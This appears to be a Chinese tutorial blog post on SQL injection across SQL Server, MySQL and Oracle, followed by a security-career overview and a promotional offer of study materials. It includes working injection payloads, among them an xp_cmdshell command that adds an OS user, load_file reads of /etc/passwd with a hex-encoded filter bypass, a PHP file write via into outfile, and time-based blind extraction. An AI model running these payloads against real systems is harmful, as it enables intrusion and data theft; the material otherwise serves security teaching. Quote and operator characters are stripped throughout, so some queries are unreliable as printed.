SQL 注入原理SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序而这些输入大都是SQL语法里的一些组合通过执行SQL语句进而执行攻击者所要的操作其主要原因是程序没有细致地过滤用户输入的数据致使非法数据侵入系统。SQL 注入分类1. 数字型注入当输入的参数为整型时则有可能存在数字型注入漏洞。假设存在一条 URL 为HTTP://www.aaa.com/test.php?id1可以对后台的 SQL 语句猜测为SELECT * FROM table WHERE id1判断数字型漏洞的 SQL 注入点① 先在输入框中输入一个单引号这样的 SQL 语句就会变为SELECT * FROM table WHERE id1不符合语法所以该语句肯定会出错导致脚本程序无法从数据库获取数据从而使原来的页面出现异常。② 在输入框中输入and 1 1SQL语句变为SELECT * FROM table WHERE id1 and 1 1语句正确执行正常返回的数据与原始请求无任何差异。③ 在数据库中输入and 1 2SQL 语句变为SELECT * FROM table WHERE id1 and 1 2虽然语法正确语句执行正常但是逻辑错误因为 1 2 为永假所以返回数据与原始请求有差异。如果以上三个步骤全部满足则程序就可能存在数字型 SQL 注入漏洞。2. 字符型注入当输入参数为字符串时则可能存在字符型注入漏洞。数字型与字符型注入最大的区别在于数字型不需要单引号闭合而字符型一般需要使用单引号来闭合。字符型注入最关键的是如何闭合 SQL 语句以及注释多余的代码。假设后台的 SQL 语句如下SELECT * FROM table WHERE username admin判断字符型漏洞的 SQL 注入点① 还是先输入单引号admin来测试这样的 SQL 语句就会变为SELECT * FROM table WHERE username admin。页面异常。② 输入admin and 1 1 --注意在 admin 后有一个单引号用于字符串闭合最后还有一个注释符--(两条杠后面还有一个空格)。SQL 语句变为SELECT * FROM table WHERE username ‘admin’ and 1 1 –页面显示正确。③ 输入admin and 1 2 --SQL 语句变为SELECT * FROM table WHERE username admin and 1 2 --页面错误。满足上面三个步骤则有可能存在字符型 SQL 注入。3. 其他类型其实我觉得 SQL 注入只有两种类型数字型与字符型。很多人可能会说还有如Cookie 注入、POST 注入、延时注入等。的确如此但这些类型的注入归根结底也是数字型和字符型注入的不同展现形式或者注入的位置不同罢了。以下是一些常见的注入叫法POST注入注入字段在 POST 数据中Cookie注入注入字段在 Cookie 数据中延时注入使用数据库延时特性注入搜索注入注入处为搜索的地方base64注入注入字符串需要经过 base64 加密常见数据库的注入攻击者对于数据库注入无非是利用数据库获取更多的数据或者更大的权限利用的方式可以归结为以下几类查询数据读写文件执行命令攻击者对于程序注入无论任何数据库无非都是在做这三件事只不过不同的数据库注入的 SQL 语句不一样罢了。这里介绍三种数据库的注入Oracle 11g、MySQL 5.1 和 SQL Server 2008。SQL Server1. 利用错误消息提取信息SQL Server 数据库是一个非常优秀的数据库它可以准确地定位错误信息这对攻击者来说是一件十分美好的事情因为攻击者可以通过错误消息提取自己想要的数据。① 枚举当前表或者列假设选择存在这样一张表查询 root 用户的详细信息SQL 语句猜测如下SELECT * FROM user WHERE username root AND password root攻击者可以利用 SQL Server 特性来获取敏感信息在输入框中输入如下语句 having 1 1 --最终执行的 SQL 语句就会变为SELECT * FROM user WHERE username root AND password root HAVING 1 1 --那么 SQL 的执行器可能会抛出一个错误攻击者就可以发现当前的表名为 user、而且存在字段 id。攻击者可以利用此特性继续得到其他列名输入如下语句’ GROUP BY users.id HAVING 1 1 –则 SQL 语句变为SELECT * FROM user WHERE username root AND password root GROUP BY users.id HAVING 1 1 --抛出错误由此可以看到包含列名 username。可以一次递归查询知道没有错误消息返回位置这样就可以利用 HAVING 字句得到当表的所有列名。注Select指定的每一列都应该出现在Group By子句中除非对这一列使用了聚合函数②. 利用数据类型错误提取数据如果试图将一个字符串与非字符串比较或者将一个字符串转换为另一个不兼容的类型那么SQL 编辑器将会抛出异常。如下列 SQL 语句SELECT * FROM user WHERE username abc AND password abc AND 1 (SELECT TOP 1 username FROM users)执行器错误提示这就可以获取到用户的用户名为 root。因为在子查询SELECT TOP 1 username FROM users中将查询到的用户名的第一个返回返回类型是 varchar 类型然后要跟 int 类型的 1 比较两种类型不同的数据无法比较而报错从而导致了数据泄露。利用此方法可以递归推导出所有的账户信息SELECT * FROM users WHERE username abc AND password abc AND 1 (SELECT TOP 1 username FROM users WHERE not in (root))。通过构造此语句就可以获得下一个 用户名若把子查询中的 username 换成其他列名则可以获取其他列的信息这里就不再赘述。2. 获取元数据SQL Server 提供了大量视图便于取得元数据。可以先猜测出表的列数然后用 UNION 来构造 SQL 语句获取其中的数据。如SELECT *** FROM *** WHERE id *** UNION SELECT 1, TABLE_NAME FROM INFORMATION_SCHEMA.TABLES若当前表的列数为 2则可以 UNION 语句获取当前数据库表。具体怎么猜测当前表的列数后面进行描述。一些常用的系统数据库视图3. ORDER BY 子句猜测列数可以用 ORDER BY 语句来判断当前表的列数。如①SELECT * FROM users WHERE id 1——SQL执行正常②SELECT * FROM users WHERE id 1 ORDER BY 1(按照第一列排序)——SQL执行正常③SELECT * FROM users WHERE id 1 ORDER BY 2(按照第二列排序)——SQL执行正常④SELECT * FROM users WHERE id 1 ORDER BY 3(按照第三列排序)——SQL 执行正常⑤SELECT * FROM users WHERE id 1 ORDER BY 4(按照第四列排序)——SQL 抛出异常由此可以得出当前表的列数只有 3 列因为当按照第 4 列排序时报错了。在 Oracle 和 MySql 数据库中同样适用此方法。在得知列数后攻击者通常会配合 UNION 关键字进行下一步的攻击。4. UNION 查询UNION 关键字将两个或多个查询结果组合为单个结果集大部分数据库都支持 UNION 查询。但适用 UNION 合并两个结果有如下基本规则所有查询中的列数必须相同数据类型必须兼容① 用 UNION 查询猜测列数不仅可以用 ORDER BY 方法来猜测列数UNION 方法同样可以。在之前假设的 user 表中有 5 列若我们用 UNION 联合查询SELECT * FROM users WHERE id 1 UNION SELECT 1数据库会发出异常可以通过递归查询直到无错误产生就可以得知 User 表的查询字段数UNION SELECT 1,2、UNION SELECT 1,2,3也可以将 SELECT 后面的数字改为 null、这样不容易出现不兼容的异常。② 联合查询敏感信息在得知列数为 4后可以使用一下语句继续注入UNION SELECT x, null, null, null FROM SYSOBJECT WHERE xtypeU(注xtype‘U’ 表示对象类型是表)若第一列的数据类型不匹配数据库会报错那么可以递归查询直到语句兼容。等到语句正常执行就可以将 x 换为 SQL 语句查询敏感信息。5. 利用SQL Server 提供的系统函数SQL Server 提供了非常多的系统函数利用该系统函数可以访问 SQL Server 系统表中的信息而无需使用 SQL 查询语句。如SELECT suser_name()返回用户的登录标识名SELECT user_name()基于指定的标识号返回数据库用户名SELECT db_name()返回数据库名SELECT is_member(‘db_owner’)是否为数据库角色SELECT convert(int, ‘5’)数据类型转换6. 存储过程存储过程 (Stored Procedure) 是在大型数据库系统中为了完成特定功能的一组 SQL “函数”如执行系统命令、查看注册表、读取磁盘目录等。攻击者最长使用的存储过程是 “xp_cmdshell”这个存储过程允许用户执行操作系统命令。例如http://www.aaa.org/test.aspx?id1中存在注入点那么攻击者就可以实施命令攻击http://www.aaa.org/test.aspx?id1exec xp_cmdshell net user test test /add最终执行的 SQL 语句如下SELECT * FROM table WHERE id1; exec xp_cmdshell net user test test /add分号后面的那一段语句就可以为攻击者在对方服务器上新建一个用户名为 test、密码为 test 的用户。注并不是任何数据库用户都可以使用此类存储过程用户必须持有 CONTROL SERVER 权限。常见的危险存储过程如下表另外任何数据库在使用一些特殊的函数或存储过程时都需要特定的权限。常见的SQL Server 数据库的角色与权限如下7. 动态执行SQL Server 支持动态执行语句用户可以提交一个字符串来执行 SQL 语句。如exec(SELECT username, password FROM users)也可以通过定义十六进制的 SQL 语句使用 exec 函数执行。大部分 Web 应用程序和防火墙都过滤了单引号利用 exec 执行十六进制 SQL 语句可以突破很多防火墙及防注入程序如declare query varchar(888)select query0x73656C6563742031exec(query)或者declare/**/query/**/varchar(888)/**/select/**/query0x73656C6563742031/**/exec(query)MySQL前面详细讲述了 SQL Server 的注入过程在注入其他数据库时基本思路是相同的只不过两者使用的函数或者是语句稍有差异。1. MySQL 中的注释MySQL 支持以下 3 中注释风格“#”注释从 “#” 到行尾-- 注释从 “-- ”序列到行位需要注意的是使用此注释时后面需要跟上空格/**/注释从 /* 到 */ 之间的字符2. 获取元数据MySQL 5.0 及其以上版本提供了 INFORMATION_SCHEMA这是一个信息数据库它提供了访问数据库元数据的方式。下面介绍如何从中读取数据库名称、表名称以及列名称。① 查询用户数据库名称SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATAINFORMATION_SCHEMA.SCHEMATA 表提供了关于数据库的信息。②查询当前数据表SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA (SELECT DATABASE())INFORMATION_SCHEMA.TABLES 表给出了数据库中表的信息。③查询指定表的所有字段SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME ***INFORMATION_SCHEMA.COLUMNS 表中给出了表中的列信息。3. UNION 查询与 SQL Server 大致相同此处不赘述。4. MySQL 函数利用无论是 MySQL、Oracle 还是其他数据库都内置了许多系统函数这些数据库函数都非常类似接下来介绍一些对渗透测试人员很有帮助的 MySQL 函数。① load_file() 函数读文件操作MySQL 提供了 load_file() 函数可以帮助用户快速读取文件但文件的位置必须在服务器上文件必须为绝对路径且用户必须有 FILE 权限文件容量也必须小于 max_allowed_packet 字节 (默认为 16MB最大为 1GB)。SQL 语句如下UNION SELECT 1, load_file(/etc/passwd), 3, 4 #通常一些防注入语句不允许单引号出现那么可以使用一下语句绕过UNION SELECT 1, load_file(0x2F6561342F706173737764), 3, 4 #“0x2F6561342F706173737764” 为 “/etc/passwd” 的十六进制转换结果。在浏览器返回数据时有可能存在乱码问题那么可以使用 hex() 函数将字符串转换为十六进制数据。② into outfile 写文件操作MySQL 提供了向磁盘写文件的操作与 load_file() 一样必须有 FILE 权限并且文件必须为全路径名称。写入文件SELECT ?php phpinfo();? into oufile C:\wwwroot\1.php③ 连接字符串MySQL 如果需要一次查询多个数据可以使用 concat() 或 concat_ws() 函数来完成。SELECT name FROM student WHERE id 1 UNION SELECT concat(user(), ,, database(), ,, version());也可以将逗号改用十六进制表示0x2c5. MySQL 显错式注入MySQL 也存在显错式注入可以像 SQL Server 数据库那样使用错误提取消息。① 通过 updatexml 函数执行 SQL 语句首先了解下updatexml()函数updatexml (XML_document, XPath_string, new_value);第一个参数XML_document是String格式为XML文档对象的名称第二个参数XPath_string (Xpath格式的字符串) 第三个参数new_valueString格式替换查找到的符合条件的数据SELECT * FROM message WHERE id 1 and updatexml(1, (concat(0x7c, (SELECT version))), 1)其中的concat()函数是将其连成一个字符串因此不会符合XPATH_string的格式从而出现格式错误报错会显示出无法识别的内容② 通过 extractvalue函数SEELCT * FROM message WHERE id 1 AND extravtvalue(1, concat(0x7c, (SELECT user())))同样报错显示出当前用户6. 宽字节注入宽字节注入是由编码不统一所造成的这种注入一般出现在 PHP MySQL中。在 PHP 配置文件 php.ini 中存在 magic_quotes_gpc 选项被称为魔术引号当此选项被打开时使用 GET、POST、Cookie 所接受的 单引号(’)、双引号()、反斜线() 和 NULL 字符都会自动加上一个反斜线转义。如下使用 PHP 代码使用 $_GET 接收参数如访问URLhttp:/www.xxser.com/Get.php?id显示如下单引号被转义后就变成了\在 MySQL 中\是一个合法的字符也就没办法闭合单引号所以注入类型是字符型时无法构成注入。但是若是输入%d5访问URLhttp:/www.xxser.com/Get.php?id%d5显示如下可以发现这次单引号没有被转义这样就可以突破 PHP 转义继续闭合 SQL 语句进行 SQL 注入。7. MySQL 长字符截断MySQL 超长字符截断又名 “SQL-Column-Truncation”。在 MySQL 中的一个设置里有一个 sql_mode 选项当 sql_mode 设置为 default 时即没有开启 STRICT——ALL_TABLES 选项时MySQL 对插入超长的值只会提示 waring而不是 error。假设有一张表如下username 字段的长度为 7。分别插入一下 SQL 语句① 插入正常 SQL 语句INSERT users(id, username, password) VALUES(1, ‘admin’, ‘admin’);成功插入。② 插入错误的 SQL 语句使 username 字段的长度超过7INSERT users(id, username, password) VALUES(2, admin , admin);虽然有警告但是成功插入了。③ 再尝试插入一条错误的 SQL 语句长度同一超过原有的规定长度INSERT users(id, username, password) VALUES(3, admin x), admin;查询数据库可以看到三条数据都被插入到数据库中但是值发生了变化。在默认情况下如果数据超出默认长度MySQL 会将其阶段。但是这样怎么攻击呢通过查询用户名为 admin 的用户可以发现只查询用户名为 admin 的用户但是另外两个长度不一致的 admin 用户也被查询出这样就会造成一些安全问题。比如有一处管理员登录时这样判断的$sql SELECT count(*) FROM users WHERE username admin AND password ***;那么攻击者只需要注册一个长度超过规定长度的用户名“admin ”即可轻易进入后台管理页面。8. 延时注入延时注入属于盲注技术的一种是一种基于时间差异的注入技术。下面以 MySQL 为例介绍延时注入。在 MySQL 中有一个函数sleep(duration)这个函数意思是在 duration 参数给定数秒后运行语句如下 SQL 语句SELECT * FROM users WHERE id 1 AND sleep(3)就是将在 3 秒后执行该 SQL 语句。可以使用这个函数来判断 URL 是否存在 SQL 注入漏洞步骤如下通过页面返回的世界可以断定DBMS 执行了and sleep(3)语句这样一来就可以判断出 URL 存在 SQL 注入漏洞。然后通过 sleep() 函数还可以读出数据但需要其他函数的配合步骤如下①查询当前用户并取得字符串长度执行SQL 语句AND if(length(user()) 0, sleep(3), 1)如果出现 3 秒延时就可以判断出 user 字符串长度注入时通常会采用折半算法减少判断。② 截取字符串第一个字符并转换为 ASCII 码AND if(hex(mid(user(), 1, 1)) 1, sleep(3), 1)AND if(hex(mid(user(), 1, 1)) 2, sleep(3), 1)……不断更换 ASCII 码直到出现延时 3 秒就可以猜测出第一个字符。③ 递归截取字符串每一个字符分别于 ASCII 码比较AND if(hex(mid(user(), L, 1)) N, sleep(3), 1)注L 的位置代表字符串的第几个字符N 的位置代表 ASCII 码。不仅在 MySQL 中存在延时函数在 SQL Server、Oracle 等数据库中也都存在类似功能的函数如 SQL Server 的 waitfor delay、Oracle 中的 DBMS_LOCK.SLEEP 等函数。Oracle1. 获取元数据Oracle 也支持查询元数据下面是 Oracle 注入常用的元数据视图① user_tablespaces 视图查看表空间SELECT tablespace_name FROM user_tablespaces② user_tables 视图查看当前用户的所有表SELECT table_name FROM user_tables WHERE rownum 1③ user_tab_columns 视图查看当前用户的所有列如查询 user 表的所有列SELECT column_name FROM user_tab_columns WHERE table_name users④ all_users 视图查看 ORacle 数据库的所有用户SELECT username FROM all_users⑤ user_objects 视图查看当前用户的所有对象 (表名称、约束、索引)SELECT object_name FROM user_objects2. UNION 查询Oracle 与 MySQL 一样不支持多语句执行不像 SQL Server 那样可以用分号隔开从而注入多条 SQL 语句。①获取列的总数获取列总数方法与前面两种数据库类似依然可以使用 ORDER BY 子句来完成。另一种方法是利用 UNION 关键字来确定但是 Oracle 规定每次查询时后面必须跟表的名称否则查询将不成立。在 Oracle 中可以使用UNION SELECT null, null, null …… FROM dual这里的 dual 是 Oracle 中的虚拟表在不知道数据库中存在哪些表的情况下可以使用此表作为查询表。然后获取非数字类型列即可以显示出信息的列UNION SELECT null, null, null, …… FROM dualUNION SELECT null, null, null, …… FROM dual把每一位的null依次用单引号 ’ 引起来如果报错则不是字符串类型的列如果返回正常则是字符串类型的列就可以在相应的位置插入查询语句获取信息。② 获取敏感信息常见的敏感信息如下当前用户权限SELECT * FROM session_roles当前数据库版本SELECT banner FROM sys.v_$version WHERE rownum 1服务器出口 IP用utl_http.request可以实现服务器监听 IPSELECT utl_inaddr.get_host_address FROM dual服务器操作系统SELECT member FROM v$logfile WHERE rownum 1服务器 SIDSELECT instance_name FROM v$instance当前连接用户SELECT SYS_CONTEXT(USERENV, CURRENT_USER) FROM dual③ 获取数据库表及其内容在得知表的列数之后可以通过查询元数据的方式查询表名称、列名称然后查询数据如http://www.aaa.org/new.jsp?id1 UNION SELECT username, password, null FROM users –注意在查询数据时同样要注意数据类型否则无法查询只能一一测试改变参数的查询位置。计算机热门就业方向从目前市场情况来讲网络安全的就业前景是非常不错的2022年的统计数据网络安全专业的缺口已经增长到140万人。1、就业岗位多发展方向广①就业环境网络安全可以在计算机科学与技术、信息通信、电子商务、互联网金融、电子政务等领域从事相关工作还可以在政府机关事业单位、银行、保险、证券等金融机构电信、传媒等行业从事相关工作。②就业岗位网络安全工程师、渗透测试工程师、代码审计工程师、等级保护工程师、安全运维工程师、安全运营工程师、安全服务工程师等。2、薪资待遇可观提升较快作为一个新兴行业网络安全人才的市场需求远远大于供给企业想真正招到人才就必须在薪酬福利上有足够的竞争优势。因此网络安全领域的薪资近年来也呈现稳步增长的态势。根据工信部发布的《网络安全产业人才发展报告》显示网络安全人才平均年薪为21.28万元整体薪资水平较高。数据显示网络安全人才年薪主要集中在10-20万元占比40.62%与往年持平其次是20-30万元占比为38.43%较2020年占比19.48%有显著提高而年薪在10万以下人才占比由2020年的19.74%下降至2022年的9.08%。由此可见网络安全行业作为新兴赛道尚在快速发展阶段从业人员薪资水平提升较快也显示出网络安全行业相对更重视人才留存。3、职业发展空间大从网络安全专业学习的主要内容来看包括linux运维、Python开发、渗透测试、代码审计、等级保护、应急响应、风险评估等。可见该网络安全专业的技术性很强具有鲜明的专业特点是一门能够学到真正技术的工科类专业之一。因此在职业发展上网络安全专业除了就业岗位众多之外由于专业技术性较强在工作单位将处于技术核心骨干地位职业发展空间很大。盘点网络安全的岗位汇总0****1岗位一渗透测试工程师**岗位释义**模拟黑客攻击利用黑客技术挖掘漏洞提出修复建议。有些大厂例如奇安信甚至会将渗透岗位分为红蓝两方对候选人的技术要求比较高大部分刚入行的新人也将渗透岗位作为后期的发展目标。岗位职责负责对客户网络、系统、应用进行渗透测试、安全评估和安全加固在出现网络攻击或安全事件时提供应急响应服务帮助用户恢复系统及调查取证针对客户网络架构建议合理的网络安全解决方案**工作难度**5颗星薪资现状0****2岗位二安全运维工程师**岗位释义**维护网络系统的正常、安全运行如果受到黑客攻击则需要进行应急响应和入侵排查安全加固。很多刚毕业入行的新人基本都从运维做起。岗位职责日常终端维护操作系统安装加固完成网络安全设备故障排查、处置完成相关管理制度文档的编写和提交**工作难度**3颗星薪资现状0****3岗位三安全运营工程师**岗位释义**在运维的基础上高效可持续地不断提升企业的安全防御能力。岗位职责负责监控、扫描等各类安全策略的制定和优化负责信息安全事件的应急响应参与网络安全评估工作、安全加固工作和监控等等**工作难度**3颗星薪资现状0****4岗位四安全开发工程师**岗位释义**顾名思义对安全产品及平台、策略等进行开发工作。岗位职责负责网络安全产品的系统技术设计、代码开发与实现、单元测试、静态检查、本地构建等工作参与公司其他产品的系统技术设计以及研发工作。**工作难度**5颗星薪资现状0****5岗位五等保测评工程师**岗位释义**等保测评也叫等级保护测评主要负责开展信息安全等级保护测评、信息安全风险评估、应急响应、信息安全咨询等工作 。岗位职责网络安全等级保护测评项目实施Web渗透测试、操作系统安全加固等安全项目实施配合**工作难度**3颗星薪资现状0****6岗位六安全研究工程师**岗位释义**网络安全领域的研究人才。岗位职责跟踪和分析国内外安全事件、发展趋势和解决方案承担或参与创新型课题研究参与项目方案设计组织推动项目落实完成研究内容、负责网络安全关键技术攻关和安全工具研发**工作难度**5颗星薪资现状0****7岗位七漏洞挖掘工程师**岗位释义**主要从事逆向、软件分析、漏洞挖掘工作岗位职责通过模拟实施特定方法所获得的结果评估计算机网络系统安全状况通过特定技术的实施寻找网络安全漏洞发现但不利用漏洞。**工作难度**5颗星薪资现状0****8岗位八安全管理工程师**岗位释义**负责信息安全相关流程、规范、标准的制定和评审负责公司整体安全体系建设。岗位职责全业务系统网络安全技术体系的规划和建设优化网络安全架构负责网络安全相关流程、规范、标准的指定和评审高效处置突发事件负责网络安全防护系统的建设提升网络安全保障水平**工作难度**4颗星0****9岗位九应急响应工程师**岗位释义**主要负责信息安全事件应急响应、攻击溯源、取证分析工作参与应急响应、攻击溯源、取证分析技术的研究提升整体重大信息安全事件应急处置能力。岗位职责负责信息安全事件应急响应、攻击溯源、取证分析工作对安全事件的应急处置进行经验总结开展应急响应培训负责各业务系统的上线前安全测试黑盒白盒及渗透测试工作参与应急响应、攻击溯源、取证分析技术的研究提升整体重大信息安全事件应急处置能力。跟踪国内外安全热点事件、主流安全漏洞、威胁情报、黑灰产动态并进行分析研究形成应对方案**工作难度**4颗星薪酬现状10岗位十数据安全工程师**岗位释义**主要对公司的数据安全的日常维护和管理工作确保公司数据安全。岗位职责负责数据安全日常维护和管理工作包括数据安全审核、数据安全事件的监控与响应、安全合规的审计与调查等负责数据安全标准规范的制定和管理包括数据安全需求识别、风险分析、数据分级分类、数据脱敏、数据流转、泄露防护、权限管控等推进相关安全管控策略在平台落地、执行。负责开展与数据全生命周期管理有关的各项数据安全工作;负责跨平台、跨地域数据传输、交互等数据安全方案制定与落地定期组织开展数据安全自评工作发现潜在数据安全风险制定相应的管控措施并推进落实整改。**工作难度**4颗星薪酬现状如何系统学习网络安全/黑客网络安全不是「速成黑客」而是守护数字世界的骑士修行。当你第一次用自己写的脚本检测出漏洞时那种创造的快乐远胜于电影里的炫技。装上虚拟机从配置第一个Linux环境开始脚踏实地从基础命令学起相信你一定能成为一名合格的黑客。如果你还不知道从何开始我自己整理的282G的网络安全教程可以分享我也是一路自学走过来的很清楚小白前期学习的痛楚你要是没有方向还没有好的资源根本学不到东西下面是我整理的网安资源希望能帮到你。需要的话可以V扫描下方二维码联系领取~如果二维码失效可以点击下方链接去拿一样的哦【CSDN大礼包】最新网络安全/网安技术资料包~282G无偿分享1.从0到进阶主流攻防技术视频教程包含红蓝对抗、CTF、HW等技术点2.入门必看攻防技术书籍pdf书面上的技术书籍确实太多了这些是我精选出来的还有很多不在图里3.安装包/源码主要攻防会涉及到的工具安装包和项目源码防止你看到这连基础的工具都还没有4.面试试题/经验网络安全岗位面试经验总结谁学技术不是为了赚$呢找个好的岗位很重要需要的话可以V扫描下方二维码联系领取~因篇幅有限资料较为敏感仅展示部分资料添加上方即可获取如果二维码失效可以点击下方链接去拿一样的哦【CSDN大礼包】最新网络安全/网安技术资料包~282G无偿分享